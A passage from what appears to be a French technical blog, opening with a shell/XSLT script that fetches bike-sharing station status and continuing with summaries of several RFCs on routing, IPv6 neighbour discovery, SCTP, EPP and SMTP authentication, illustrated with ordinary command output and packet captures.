  <xsl:template match="/">
    <xsl:text>Statistiques pour la station </xsl:text>
    <xsl:value-of select="$num"/>
    <xsl:apply-templates/>
  </xsl:template>

  <xsl:template match="available">
     <xsl:text>Vélos libres : </xsl:text>
     <xsl:apply-templates/>
  </xsl:template>

  <xsl:template match="free">
     <xsl:text>Bornes libres : </xsl:text>
     <xsl:apply-templates/>
  </xsl:template>

  <xsl:template match="total">
     <xsl:text>Nombre total de bornes : </xsl:text>
     <xsl:apply-templates/>
  </xsl:template>

  <xsl:template match="ticket">
     <xsl:text>Bornes en panne : </xsl:text>
     <xsl:apply-templates/>
  </xsl:template>

</xsl:stylesheet>

et le script contient :

#!/bin/sh

# Recuperer des informations sur une station du service de vélos en 
# libre-service Le Velo a Marseille

URL="http://www.levelo-mpm.fr/service/stationdetails/marseille"
STYLESHEET="format.xsl"
set -e

if [ "$1" = "" ]; then
    echo "Usage: $0 station-number" > /dev/stderr
    exit 1
fi

num=$1
output=`mktemp /tmp/levelo-$num.XXXXX`

curl --silent --output $output $URL/$num 
xsltproc --stringparam num $num $STYLESHEET $output
rm -f $output

et s'utilise ainsi (sur la station la plus proche du Vieux Port) :

% ./get-station.sh 1156   
Statistiques pour la station 1156
  Vélos libres : 3
  Bornes libres : 4
  Nombre total de bornes : 8
  Bornes en panne : 1

Ce programme marcherait probablement sans problème avec le service Vélô à Toulouse, qui utilise encore le même logiciel (on trouve même /marseille dans les URL de http://www.velo.toulouse.fr/Les-stations/Trouver-une-station).

D'autres systèmes de location de vélos en libre-service utilisent apparemment une interface bien différente. Ainsi, le service BIXI de Montréal fonctionne en publiant un seul fichier, https://profil.bixi.ca/data/bikeStations.xml, qui contient à la fois l'information sur les stations et l'état actuel de leur occupation. (Merci à Gérôme Sauve pour avoir attiré mon attention sur ce service et à Pascal Courtois pour son analyse de l'application avec Firebug.)

Le programme « montréalais » est également en Python mais avec une autre bibliothèque (d'API très semblable à ElementTree), lxml. Voici des exemples d'utilisation :

% python bixi.py  'Cartier / des Carrières'
Cartier / des Carrières: 0 bikes, 7 empty docks

% python bixi.py 'Mozart / St-Laurent'
Mozart / St-Laurent: 4 bikes, 3 empty docks

% python bixi.py 'Holt / Fullum'
Holt / Fullum: not yet installed

Autre cas, celui du Vélo Star de Rennes. Il faut s'enregistrer auprès de l'entrepôt de données de la ville et obtenir une clé. Ensuite, on lit la documentation de l'API (plus besoin de rétro-ingéniérie) et on peut programmer. Il faut envoyer une requête HTTP et on récupère du XML. Trivial à faire en Go, dans le programme gostar.go en utilisant les bibliothèques standard Go http et xml :

% ./gostar 42
Station PONT DE STRASBOURG
Bikes available: 3
Slots available: 12

L'article seul

RFC 4984: Report from the IAB Workshop on Routing and Addressing

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : D. Meyer, L. Zhang, K. Fall
Pour information
Première rédaction de cet article le 28 septembre 2007


En octobre 2006, l'IAB a tenu un séminaire à Amsterdam, consacré aux questions fondamentales de routage et d'adressage sur Internet. Ce RFC est le compte-rendu de ce séminaire.

Cela fait très longtemps que l'avenir du routage et de l'adressage, les deux bases de la sécurité et de la stabilité de l'Internet, suscitent des inquiétudes. Par exemple, la rapide consommation d'adresses IPv4 a mené au début des années 90 à la création d'IPv6. Mais le problème n'a pas cessé, l'inquiétude principale portant désormais sur le routage. Les routeurs de la DFZ (Default-Free Zone, l'ensemble des routeurs qui n'ont pas de route par défaut et doivent donc avoir une entrée dans leur table de routage pour chaque réseau indépendant) consomment de plus en plus de mémoire et d'autres ressources, pour stocker les (aujourd'hui) 230 000 routes de l'Internet. Est-ce que la croissance actuelle pourra se poursuivre ?

Le séminaire a donc étudié le problème actuel et les capacités des routeurs à supporter encore quelques années (cinq ? dix ?) de croissance (la passionnante section 4 décrit en détail les problèmes de matériel des routeurs, prenant en compte jusqu'à la question du refroidissement). Il s'est aussi penché sur les phénomènes à l'origine de cette croissance. Bien sûr, il y a le nombre de personnes connectées à l'Internet. Mais il y a aussi des causes nouvelles, comme la montée de la mobilité, ou comme les demandes des utilisateurs pour le multihoming, c'est-à-dire être connecté par plusieurs FAI.

Le problème est très difficile à résoudre car, à son cœur, se trouve une contradiction entre les demandes des opérateurs, qui préféreraient des adresses fortement agrégées en gros préfixes (de façon à limiter le nombre de ces derniers) et les utilisateurs qui préféreraient pouvoir router à volonté « leurs » adresses. Une des pistes pour trancher ce nœud gordien est la séparation de l'identificateur et du localisateur, actuellement fusionnés dans l'adresse IP. Ce point est détaillé dans les sections 2.2, 6 et 7.2 de notre RFC.

Le RFC se termine par un ensemble d'exigences que devra satisfaire la solution proposée et par des recommandations que le problème, bien que non immédiat, soit traité sérieusement. Conscient de la contradiction entre les intérêts des différentes parties prenantes, l'IAB recommande également que les futurs séminaires ou forums ne comprennent pas que des fabricants de routeurs et des opérateurs...

La publication du RFC, bien tardive, a été retardée par des désaccords sur certains des conclusions. Alors que le RFC aurait dû être un compte-rendu factuel de ce qui s'était dit à Amsterdam, il a failli être compris comme un plan d'action stratégique, devant donc faire l'objet d'un relatif consensus. La discussion lancée par ce séminaire se poursuit aujourd'hui sur la liste RAM.


Téléchargez le RFC 4984


L'article seul

RFC 3735: Guidelines for Extending the Extensible Provisioning Protocol (EPP)

Date de publication du RFC : Mars 2004
Auteur(s) du RFC : S. Hollenbeck
Pour information
Première rédaction de cet article le 25 septembre 2007
Dernière mise à jour le 27 septembre 2007


EPP, normalisé dans le RFC 4930 et suivants, a une particularité importante : il est conçu pour être extensible. Ce RFC explique les précautions à prendre lorsqu'on étend EPP.

EPP est un protocole d'avitaillement, c'est-à-dire de création, modification et destruction d'objets stockés dans un registre distant. L'utilisation la plus connue d'EPP concerne les registres de noms de domaine mais EPP peut servir à bien d'autres choses. Même dans le cas de registres de noms de domaine, les différences de politique d'enregistrement font qu'il est bien difficile de proposer un protocole qui convienne à tout le monde. EPP sépare donc le protocole (décrit dans le RFC 4930) de la description des objets qu'on peut avitailler (par exemple les domaines sont dans le RFC 4931). Aussi bien le protocole que les types d'objets sont extensibles (et, naturellement, on peut aussi créer ses propres types d'objets), cf. les sections 2.4 à 2.7, ainsi que la section 3 qui explique quoi étendre. (Par exemple, le RFC recommande d'étendre un type d'objet existant plutôt que d'en créer un nouveau.)

Étendre EPP signifie écrire des schémas XML dans le langage W3C Schema. Il est prudent de valider ensuite les schémas et les exemples d'éléments XML qu'ils décrivent, ici par exemple avec xmllint :

% xmllint --noout --schema nask-extcon.xsd nask-create-contact.xml
nask-create-contact.xml validates

on teste un élément décrivant un contact, suivant l'extension au RFC 4933 créée par le NASK, registre de .pl.

Notre RFC explique que les schémas sont identifiés par un URI (par exemple http://www.nic.coop/contactCoopExt-1.0 pour l'extension du registre de .coop), doivent être documentés (section 2.1), doivent eux-même être extensibles, etc. Le protocole EPP impose que les extensions soient annoncées par le serveur et demandées par le client.

Naturellement, une fois qu'on étend EPP, les anciens programmes ne marchent plus. Chaque extension nécessite un travail de programmation spécifique. On notera que le client EPP libre Net::DRI gère pratiquement toutes les extensions EPP existantes.

Voyons quelques exemples (la liste n'est pas limitative) d'extensions à EPP (je donne la priorité aux registres où l'information est publiquement accessible).

Le RFC 4114 décrit un nouveau type d'objets avitaillés, pour les besoins d'ENUM.

Le RFC 3915 décrit une extension au type Domaine pour gérer les périodes de rédemption (le fait qu'un domaine détruit ne soit pas réenregistrable immédiatement, pour laisser une chance à son ancien titulaire).

Le RFC 4310 décrit une extension pour gérer l'information DNSSEC pour les domaines.

Le registre de .coop a plusieurs extensions (langue de l'utilisateur, connexion à leur système de tickets, pour la validation des domaines).

Le registre polonais a des extensions aux objets de type Contact pour gérer la protection des données personnelles (le fait d'être une personne physique et l'autorisation de publication).

Certains registres comme le belge, ont le concept de « groupe de serveurs de noms », qui permet d'attacher un groupe à un domaine, facilitant ainsi l'ajout ou le retrait d'un serveur de noms. Cette extension (documentée dans leur Registration guidelines) a nécessité la création d'un nouveau type d'objets, le NSgroup

Verisign fournit également de nombreuses extensions, par exemple une extension « IDN language » pour indiquer la langue associée à un nom de domaine internationalisé (une stupide idée, imposée par l'ICANN).

Enfin, d'autres registres ont des extensions EPP comme .br ou .us. Merci à Patrick Mevzek pour les détails.


Téléchargez le RFC 3735


L'article seul

RFC 5006: IPv6 Router Advertisement Option for DNS Configuration

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : J. Jeong (ETRI/University of Minnesota), S. Park (SAMSUNG Electronics), L. Beloeil (France Telecom R&D), S. Madanapalli (SAMSUNG ISO)
Expérimental
Première rédaction de cet article le 25 septembre 2007
Dernière mise à jour le 28 novembre 2009


Comment configurer les serveurs de noms sur toutes les machines du réseau qu'on administre ? DHCP fournit une solution, ce RFC en normalise une autre, fondée sur les RA (Router Advertisements).

Si on gère un gros réseau, avec de nombreuses machines dont certaines, portables, vont et viennent, s'assurer que toutes ces machines ont les adresses IP des serveurs de noms à utiliser n'est pas trivial. On ne peut évidemment pas utiliser le DNS, cela serait tenter de voler en tirant sur les lacets de ses chaussures. Et configurer à la main les adresses sur chaque machine (par exemple, sur Unix, en les écrivant dans le fichier /etc/hosts) est bien trop difficile à maintenir.

La solution la plus populaire actuellement est DHCP (RFC 2136 et RFC 3315). Son principal inconvénient est qu'elle est à état : le serveur DHCP doit se souvenir des baux qu'il a attribué. Sur un gros réseau local, le nombre de requêtes à traiter, chacune nécessitant une écriture dans une base de données, peut devenir très lourd.

Une autre solution est sans état et repose sur une nouveauté d'IPv6, les RA (Router Advertisements), décrits dans le RFC 4862. Ce sont des messages envoyés à intervalles réguliers par les routeurs et qui informent les machines non-routeuses des caractéristiques essentielles du réseau, comme le préfixe utilisé (par exemple 2001:DB8:BEEF:42::/64). Le routeur diffuse ses messages et n'a pas besoin d'écrire quoi que ce soit sur son disque, ni de faire des traitements compliqués lors d'une sollicitation, il répond toujours par le même message RA.

Ces RA peuvent diffuser diverses informations, par le biais d'un système d'options. Le principe de notre RFC est donc d'utiliser ces RA pour transporter l'information sur les serveurs de noms récursifs utilisables sur le réseau local, via la nouvelle option nommée RDNSS (le numéro 25 a été affecté par l'IANA).

Initialement prévu pour le chemin des normes, ce RFC a finalement été publié comme « expérimental », suite à des désaccords sur la « bonne » méthode de configuration des serveurs de noms. Notre RFC commence donc, en section 1.1, par un avertissement que le protocole « officiel » reste DHCP. Le RFC 4339 contient une discussion plus détaillée de ce problème du choix d'une méthode de configuration des serveurs de noms (notons qu'il existe d'autres méthodes comme l'anycast avec une adresse « bien connue »). Le successeur de notre RFC, le RFC 6106 a été, lui, publié sur le chemin des normes et la publication de réglages DNS par le Router Advertisement est donc désormais standard.

Sur Linux, le démon rdnssd permet de recevoir ces RA et de modifier la configuration DNS. Pour FreeBSD, on peut consulter une discussion sur leur liste. Les CPE de Free, les Freebox, émettent de telles options dans leurs RA. Voici ce qu'affiche Wireshark :

...
Ethernet II, Src: FreeboxS_c3:83:23 (00:07:cb:c3:83:23), 
             Dst: IPv6mcast_00:00:00:01 (33:33:00:00:00:01)
...
Internet Control Message Protocol v6
    Type: 134 (Router advertisement)
...
    ICMPv6 Option (Recursive DNS Server)
        Type: Recursive DNS Server (25)
        Length: 40
        Reserved
        Lifetime: 600
        Recursive DNS Servers: 2a01:e00::2 (2a01:e00::2)
        Recursive DNS Servers: 2a01:e00::1 (2a01:e00::1)

et les serveurs DNS annoncés répondent correctement. (Vous pouvez récupérer le paquet entier sur pcapr.net.)


Téléchargez le RFC 5006


L'article seul

RFC 4861: Neighbor Discovery for IP version 6

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : T. Narten (IBM), E. Nordmark (Sun Microsystems), W. Simpson (Daydreamer), H. Soliman (Elevate Technologies)
Chemin des normes
Première rédaction de cet article le 25 septembre 2007
Dernière mise à jour le 24 novembre 2008


Voici une nouvelle version du protocole ND (Neighbour Discovery) qui permet à une machine IPv6 de trouver l'adresse MAC d'une autre machine qui se trouve sur le même réseau local.

Lorsqu'une machine veut écrire à une autre machine située sur le même lien et qu'elle ne connait que son adresse IP, son adresse de couche 3, comment fait-elle pour avoir l'adresse MAC, l'adresse de couche 2 qu'il faut mettre, par exemple, dans l'en-tête de la trame Ethernet ?

IPv4 utilisait ARP, spécifié dans le RFC 826. Ce protocole avait plusieurs limites, notamment le fait qu'il n'utilisait pas IP, requérant des machines qu'elles mettent donc en œuvre un autre protocole. IPv6 a donc un mécanisme assez différent, ND, qui fonctionne au dessus d'ICMP v6 et donc d'IP.

ND permet aux machines de trouver les routeurs, aux routeurs de s'annoncer, et aux machines de trouver leurs voisines. Voici quelques paquets vus avec tcpdump -n ip6. D'abord, un routeur se signale en écrivant à l'adresse multicast ff02::1:, « toutes les machines » :

15:20:02.032894 fe80::201:96ff:fe96:dc60 > ff02::1: icmp6: router advertisement           [class 0xe0]

(Cette fonction de ND n'était pas en IPv4 gérée par ARP mais par Router Discovery, RFC 1256.) Maintenant, on a le même routeur qui cherche à joindre 2001:660:3003:3::1:3 et qui diffuse donc une demande de voisin (neighbor solicitation) :

15:19:37.981830 fe80::201:96ff:fe96:dc60 > ff02::1:ff01:3: icmp6: neighbor solicitation:  who has 2001:660:3003:3::1:3 [class 0xe0]

Ici, la machine n'avait jamais répondu. Ici, un cas où la machine sollicitée, 2001:660:3003:3::1:1, répond :

15:30:44.416346 fe80::211:43ff:fee7:bcde > 2001:660:3003:3::1: icmp6: neighbor sol: who has 2001:660:3003:3::1
15:30:44.417438 2001:660:3003:3::1 > fe80::211:43ff:fee7:bcde: icmp6: neighbor adv: tgt is 2001:660:3003:3::1 [class 0xe0]

On note que le solliciteur écrit toujours depuis son adresse « lien local » (link-local).

Naturellement, les résultats d'une découverte du voisin sont gardés dans un cache, qu'on peut afficher. Sur Linux :

% ip neigh show                         
fe80::210:dbff:feb8:e5ed dev eth0 lladdr 00:10:db:b8:e5:ed router REACHABLE
2001:660:3003:3::1 dev eth0 lladdr 00:10:db:b8:e5:ed router REACHABLE
fe80::219:b9ff:fee4:2987 dev eth0 lladdr 00:19:b9:e4:29:87 router REACHABLE

Sur FreeBSD :

% ndp -na
Neighbor                             Linklayer Address  Netif Expire    S Flags
2001:470:1f15:121:223:12ff:fe56:b34d 0:23:12:56:b3:4d    sis1 20h24m25s S
...

La section 6.2.1 du RFC précise qu'un routeur doit fournir un moyen de configurer les paramètres qui sont utilisés dans la découverte de voisin qu'il effectue et dans les annonces du RFC 4862. Avec le logiciel radvd, cela se fait dans /etc/radvd.conf qui peut ressembler à (radvd utilise pour ses options exactement les noms suggérés par le RFC) :

...
   prefix 2001:DB8:49::/64
   { 
     AdvOnLink on; 
     AdvPreferredLifetime 1800;

Et on voit alors avec un tcpdump -vvv le paramètre « durée de vie » (ltime pour life time) :

18:25:59.264392 fe80::204:75ff:fece:efbe > ff02::1: icmp6: router advertisement(chlim=64, pref=medium, router_ltime=1800, reachable_time=0, retrans_time=0)[ndp opt] (len 64, hlim 255)

Peu de changements par rapport au RFC 2461 et ils portent essentiellement sur la sécurité. L'ancien RFC ne la mentionnait guère, sauf pour expliquer que le protocole était peu sûr (les risques sont détaillés dans les RFC 3756 et RFC 6104). Désormais, la section Sécurité est plus détaillée et cite des solutions possibles comme le protocole SEND, spécifié dans le RFC 3971. Depuis, une autre est apparue, les gardes, dans le RFC 6105.


Téléchargez le RFC 4861


L'article seul

RFC 5072: IP Version 6 over PPP

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : S. Varada (Transwitch), D. Haskins, E. Allen
Chemin des normes
Première rédaction de cet article le 25 septembre 2007


Notre RFC spécifie comment faire fonctionner IPv6 au dessus de PPP.

Rien de très nouveau dans ce RFC, successeur du RFC 2472. Les changements sont peu nombreux. En quelques pages, il explique comment faire passer le protocole IPv6 au dessus de PPP. Je l'utilise par exemple chez moi pour une liaison PPPoE. Ajouter l'option ipv6 , dans le fichier de configuration suffit (il faut évidemment aussi que le pair en face accepte ce protocole).

Notre RFC définit un nouvau LCP (Link Control Protocol), IPV6CP et on peut voir ici dans le journal de pppd la négociation de ce protocole :

Jun  5 08:13:23 ludwigVI pppd[3046]: sent [IPV6CP ConfReq id=0x1 <addr fe80::35cd:efc1:e399:3aa9>]
Jun  5 08:13:23 ludwigVI pppd[3046]: rcvd [IPV6CP ConfReq id=0x1 <addr fe80::020f:90ff:fe92:bd00>]
Jun  5 08:13:23 ludwigVI pppd[3046]: sent [IPV6CP ConfAck id=0x1 <addr fe80::020f:90ff:fe92:bd00>]
Jun  5 08:13:23 ludwigVI pppd[3046]: rcvd [IPV6CP ConfAck id=0x1 <addr fe80::35cd:efc1:e399:3aa9>]

Et on peut ainsi vérifier le bon fonctionnement du lien :

% ping6 -I ppp0 fe80::0205:00ff:fe77:0000
PING fe80::0205:00ff:fe77:0000(fe80::205:ff:fe77:0) from fe80::a103:545b:b99a:3493 ppp0: 56 data bytes
64 bytes from fe80::205:ff:fe77:0: icmp_seq=1 ttl=64 time=46.4 ms
64 bytes from fe80::205:ff:fe77:0: icmp_seq=2 ttl=64 time=43.3 ms

On notera que, contrairement à IPv4 sur PPP (RFC 1661), on ne peut pas choisir les adresses IP du lien, elles sont forcément de type « locales au lien » :

Aug 25 23:35:17 ludwigV pppd[32050]: local  LL address fe80::79f7:f73b:d7b0:5de3
Aug 25 23:35:17 ludwigV pppd[32050]: remote LL address fe80::0205:00ff:fe77:0000

Téléchargez le RFC 5072


L'article seul

RFC 4960: Stream Control Transmission Protocol

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : R. Stewart
Chemin des normes
Première rédaction de cet article le 22 septembre 2007
Dernière mise à jour le 26 septembre 2007


Une des particularités du protocole IP est que vous avez plusieurs protocoles de transport disponibles. TCP et UDP sont les plus connus mais SCTP, normalisé dans notre RFC, est également intéressant.

SCTP ressemble plutôt à TCP, notamment par le fait qu'il fournit un transport fiable. Mais il a plusieurs différences :

  • il ne gère pas un flot d'octets continu mais une série de messages, bien séparés (comme le fait BEEP),
  • il gère plusieurs flux de données séparés, qui partagent le même contrôle de congestion mais gèrent à part les pertes et retransmissions,
  • il gère le cas où la machine a plusieurs adresses IP, ce qui lui fournit normalement plus de redondance, si on est connecté à plusieurs réseaux.

Cette dernière possibilité le rapproche des protocoles qui séparent l'identificateur et le localisateur et lui permet de gérer proprement le multihoming.

Cela se fait en indiquant, au début du contact, toutes les adresses IP (et même les noms de domaines, cf. la section 3.3.2.1) de la machine.

SCTP tient également compte de l'expérience acquise avec TCP. par exemple, l'établissement d'une connexion (que SCTP nomme association) se fait avec un échange de quatre paquets (et non pas trois comme avec TCP), pour offrir une meilleure protection contre les dénis de service. Les SYN cookies, un ajout plus ou moins bancal en TCP, sont ici partie intégrante du protocole.

SCTP est surtout issu des demandes du monde de la téléphonie sur IP, qui avait besoin d'un tel protocole pour la signalisation mais il peut être aussi utilisé dans d'autres domaines.

Le premier RFC à avoir normalisé SCTP était le RFC 2960. Les changements qu'introduit ce nouveau RFC ne modifient pas en profondeur le protocole mais corrigent les nombreux problèmes survenus pendant ses premières années d'utilisation. Le RFC 4460 donne la liste complète des problèmes corrigés.

Un bon tutoriel existe, SCTP for beginners et un excellent article du Linux Journal.

SCTP est depuis longtemps mis en œuvre dans Linux et, depuis peu également dans FreeBSD. De même, des programmes de déboguage comme Wireshark sont capables de décoder et d'afficher le SCTP. Le support de SCTP est parfois limité, voici un exemple de ce que racontait tcpdump, lors d'une ouverture de connexion, sur une machine Ubuntu de 2007 :

09:06:07.896605 IP 192.0.2.33.32769 > 192.0.2.34.7: sctp[|sctp]

et ce qu'il indique, pour la même activité en TCP. C'est bien plus détaillé :

09:06:58.441737 IP 192.0.2.33.49874 > 192.0.2.34.7: S 2577209510:2577209510(0) win 32792 >mss 16396,sackOK,timestamp 243393 0,nop,wscale 7<

Ceci dit, avec une Ubuntu plus récente, en 2010, on a enfin l'association SCTP complète :

 
14:25:18.931093 IP 192.168.2.1.6666 > 192.168.2.25.8888: sctp (1) [INIT] [init tag: 4133424833] [rwnd: 55808] [OS: 10] [MIS: 65535] [init TSN: 1604754740] 
14:25:18.931236 IP 192.168.2.25.8888 > 192.168.2.1.6666: sctp[|sctp]
14:25:18.937771 IP 192.168.2.1.6666 > 192.168.2.25.8888: sctp[|sctp]
14:25:18.937882 IP 192.168.2.25.8888 > 192.168.2.1.6666: sctp (1) [COOKIE ACK] , (2) [SACK] [cum ack 1604754740] [a_rwnd 56314] [#gap acks 0] [#dup tsns 0] 

Des exemples de programmes de tests SCTP se trouvent dans mon article sur le RFC 3286.

On pourra consulter une étude comparée des différents protocoles de transport concurrents de TCP dans l'article A Survey of Transport Protocols other than Standard TCP.

Il n'est pas sûr que les coupe-feux laissent passer SCTP de si tôt... L'Internet s'ossifiant de plus en plus, il devient très difficile de déployer un nouveau protocole de transport.

Un bon résumé de l'histoire et des avantages de SCTP se trouve dans Why is SCTP needed given TCP and UDP are widely available?.


Téléchargez le RFC 4960


L'article seul

RFC 4981: Survey of Research towards Robust Peer-to-Peer Networks: Search Methods

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : J. Risson, T. Moors (University of New South Wales)
Pour information
Première rédaction de cet article le 21 septembre 2007


Les techniques pair-à-pair ont une place de plus en plus importantes sur Internet aujourd'hui mais aucune ne semble formellement normalisée. Ce RFC est donc le premier RFC à parler du pair-à-pair, via une étude de la littérature existante.

S'il n'existe pas de RFC, ni d'ailleurs d'autres texte normatifs, sur aucun des fameux protocoles de pair-à-pair, il y a en revanche une abondante littérature scientifique sur ce sujet. Tellement abondante qu'il est parfois difficile de s'y retrouver. Notre RFC entreprend donc un tour général de cette littérature, et s'appuie sur une bibliographie d'une taille très inhabituelle pour un RFC, avec plus de 380 références.

Le résultat est utile, mais pas forcément très digeste. Et il souligne l'absence de l'IETF dans le champ des techniques pair-à-pair, bien qu'elles représentent aujourd'hui probablement la majorité du trafic de l'Internet.

Notre RFC décrit donc les différents types d'index, du centralisé de Napster au distribué de Freenet, puis les index « sans sémantique », c'est-à-dire où l'identificateur d'une ressource est complètement opaque (et qui se prêtent donc bien à une mise en œuvre via des DHT comme Pastry ou Chord) et enfin les index « à sémantique », plus faciles pour la recherche floue, lorsqu'on ne sait pas bien ce qu'on veut, mais moins efficaces.

Peut-être les changements sont-ils encore trop rapides, dans cette technique assez jeune ? Ou peut-être la diabolisation du pair-à-pair pratiquée par certains gros intérêts financiers effraie t-elle les SDO ? En tout cas, le pair-à-pair reste pour l'instant complètement hors du champ de la normalisation.


Téléchargez le RFC 4981


L'article seul

RFC 3746: Forwarding and Control Element Separation (ForCES) Framework

Date de publication du RFC : Avril 2004
Auteur(s) du RFC : L. Yang (Intel), R. Dantu (Univ. of North Texas), T. Anderson (Intel), R. Gopal (Nokia)
Pour information
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 21 septembre 2007


Forces désigne un mécanisme pour séparer, dans un routeur ou autre élément actif du réseau, la partie « contrôle » de la partie « transmission (des paquets) ». Ce RFC décrit l'architecture de Forces.

Le RFC 3654 décrivait le cahier des charges de Forces, l'architecture des routeurs modernes, les motivations derrière ce projet et introduisait son vocabulaire. Notre RFC est un peu plus concret et précise l'architecture de Forces. Le schéma de la section 3 l'illustre bien : forces-arch Sur ce schéma fonctionnel, on voit un routeur, le Network Element (NE), qui comprend deux Forwarding Element (FE) et deux Control Element (CE). Forces ne normalise que la communication entre CE et FE (les liens en gras sur le schéma).

Sur un schéma physique, on pourrait voir, par exemple, les CE et FE être des lames connectés au même bus comme ici : forces-physical

La section 5 du RFC est consacrée à l'examen des relations entre Forces et le RFC 1812, qui synthétise les obligations des routeurs IP (comme l'obligation d'être gérable par SNMP, section 5.7). Forces n'impose pas une façon particulière de séparer les tâches du CE et du FE, l'idée étant que, au fur et à mesure que l'électronique progresse, les FE assurent de plus en plus de fonctions qui étaient auparavant dévolues aux CE.

Ainsi, la section 5.5 explique que le CE devra savoir faire du TCP, qui reste par contre facultatif pour le FE typique.

Notons que la section sur la sécurité, la section 8, est très détaillée. Si, dans un routeur classique, le fait que CE et FE soient dans la même boîte physique simplifie le problème, en rendant difficiles certaines attaques, la séparation des CE et des FE que permet Forces peut entrainer des problèmes de sécurité nouveaux.


Téléchargez le RFC 3746


L'article seul

RFC 4993: A Lightweight UDP Transfer Protocol for the Internet Registry Information Service

Date de publication du RFC : Août 2007
Auteur(s) du RFC : A. Newton (Verisign)
Chemin des normes
Première rédaction de cet article le 21 septembre 2007


Un court RFC pour ajouter un nouveau transport au protocole IRIS. Désormais, IRIS peut utiliser UDP, un peu comme le DNS.

IRIS, spécifié dans le RFC 3981, est un protocole d'interrogation de registres Internet. Il fonctionne typiquement au dessus de TCP mais il existe une demande pour un transport plus léger, purement requête/réponse, avec un seul paquet pour chacune. Ce transport, LWZ (Lightweight using Compression aujourd'hui mais il avait une autre signification, sans que le sigle ait changé), est normalisé dans ce RFC.

LWZ est simple : la question est un élément XML IRIS classique, précédé de quelques octets (section 3 du RFC) indiquant notamment l'identificateur de la transaction (afin de permettre de mettre en correspondance les questions et les réponses) et la longueur maximale de réponse acceptable. Même chose pour le paquet de réponse.

Il n'existe à ma connaissance que deux implémentations, dans les logiciels Irisserv et FlowerBed de Verisign. Ces deux logiciels sont peu maintenus, mais ont un support de LWZ (surtout sur Flowerbed).

À ma connaissance, il n'existe pas de serveurs IRIS publics, que ce soit avec LWZ ou pas.

La sécurité de LWZ est très faible et, notamment, il présente les mêmes failles que le DNS : identificateur de transaction trop petit, donc vulnérable aux tentatives d'usurpation, taille du paquet réponse très supérieure à la taille du paquet question, donc risque que les serveurs IRIS servent à des attaques avec amplification, etc. La section 8, sur la sécurité, semble bien faible par rapport à ces risques.


Téléchargez le RFC 4993


L'article seul

RFC 3635: Definitions of Managed Objects for the Ethernet-like Interface Types

Date de publication du RFC : Septembre 2003
Auteur(s) du RFC : J. Flick (Hewlett-Packard)
Chemin des normes
Première rédaction de cet article le 17 septembre 2007


Ce RFC est l'héritier d'une longue lignée de RFC sur les MIB spécifiques à Ethernet. Au fur et à mesure que le protocole Ethernet progresse, les RFC sont mis à jour. Son prédécesseur immédiat était le RFC 2665, lui même issu du RFC 1650.

La MIB standard MIB-2 ne commence qu'à la couche 3. D'autres RFC la complètent donc, ici avec des informations spécifiques à Ethernet.

Par exemple, on voit ici avec snmpwalk une portion de cette MIB sur un commutateur HP Procurve :

...
SNMPv2-SMI::transmission.7.2.1.8.83 = Counter32: 0
SNMPv2-SMI::transmission.7.2.1.8.84 = Counter32: 671028
SNMPv2-SMI::transmission.7.2.1.8.85 = Counter32: 0
...

La donnée transmission.7.2.1.8 est dot3StatsLateCollisions, qui indique le nombre de collisions tardives (se produisant alors que le délai maximal de transmission est dépassé). Notre RFC décrit cette information ainsi :

       dot3StatsLateCollisions OBJECT-TYPE
           SYNTAX      Counter32
           MAX-ACCESS  read-only
           STATUS      current
           DESCRIPTION "The number of times that a collision is
                       detected on a particular interface later than
                       one slotTime into the transmission of a packet.

                       A (late) collision included in a count
                       represented by an instance of this object is
                       also considered as a (generic) collision for
                       purposes of other collision-related
                       statistics.

                       This counter does not increment when the
                       interface is operating in full-duplex mode.

                       Discontinuities in the value of this counter can
                       occur at re-initialization of the management
                       system, and at other times as indicated by the
                       value of ifCounterDiscontinuityTime."
           REFERENCE   "[IEEE 802.3 Std.], 30.3.1.1.10,
                       aLateCollisions."
           ::= { dot3StatsEntry 8 }

On voit ici que le port 84 a un problème, le nombre de collisions tardives est très élevée.

On peut aussi consulter la MIB dans une version plus jolie.

Ce RFC n'est pas mis en œuvre dans Net-SNMP, l'agent SNMP le plus utilisé sur Unix.


Téléchargez le RFC 3635


L'article seul

RFC 4954: SMTP Service Extension for Authentication

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : R. Siemborski (Google), A. Melnikov (Isode Limited)
Chemin des normes
Première rédaction de cet article le 17 septembre 2007


Le courrier électronique, tel que spécifié à l'origine, reposait entièrement sur la confiance aveugle des acteurs entre eux. N'importe quel serveur de messagerie pouvait demander n'importe quoi à n'importe quel autre et les expéditeurs de courrier pouvaient indiquer ce qu'ils voulaient dans le courrier. Aujourd'hui, les demandes de sécurité sont plus fortes, d'où ce RFC.

Il y a deux questions importantes, la sécurité du message (s'assurer qu'un message est authentique, quelles que soient les étapes traversées) et la sécurité du canal (s'assurer que le serveur à l'autre bout est le bon). Si cette dernière ne permet pas, à elle seule, d'authentifier un message (il faut pour cela utiliser des techniques comme PGP, spécifié dans le RFC 4880), elle est toutefois intéressante lorsqu'un serveur de messagerie veut n'autoriser certaines fonctions qu'à certains partenaires, dûment authentifiés.

Un exemple typique est le fait de relayer du courrier. On parle de « relais » lorsqu'un MTA transmet à un autre MTA un courrier dont le serveur destinataire n'est pas le destinataire final. Il devra donc relayer ce courrier. Autrefois, tous les serveurs relayaient. La montée du spam a mis fin à ces relais ouverts et, aujourd'hui, un serveur bien géré ne relaie que pour des clients autorisés et authentifiés.

Cette extension d'authentification utilise le cadre SASL, spécifié dans le RFC 4422. À l'intérieur de ce cadre sont spécifiées plusieurs méthodes d'authentification comme un mot de passe transmis en clair (RFC 4616).

Le serveur capable d'authentifier annonce cette possibilité en réponse à la requête EHLO :

% telnet mail.bortzmeyer.org smtp 
...
220 mail.bortzmeyer.org ESMTP Postfix (Debian/GNU)
EHLO mail.example.org
250-mail.bortzmeyer.org
...
250-AUTH DIGEST-MD5 CRAM-MD5

Ici, le serveur SMTP annonce, entre autres choses, sa capacité à gérer l'authentification.

Cette extension est mise en œuvre, par exemple, dans le serveur de messagerie Postfix.

Bien sûr, transmettre un mot de passe en clair sur Internet est le plus sûr moyen de se faire sniffer. Alors, notre RFC impose, pour tout mécanisme d'authentification à mot de passe en clair, d'utiliser TLS, spécifié dans le RFC 3207 et également disponible dans Postfix.

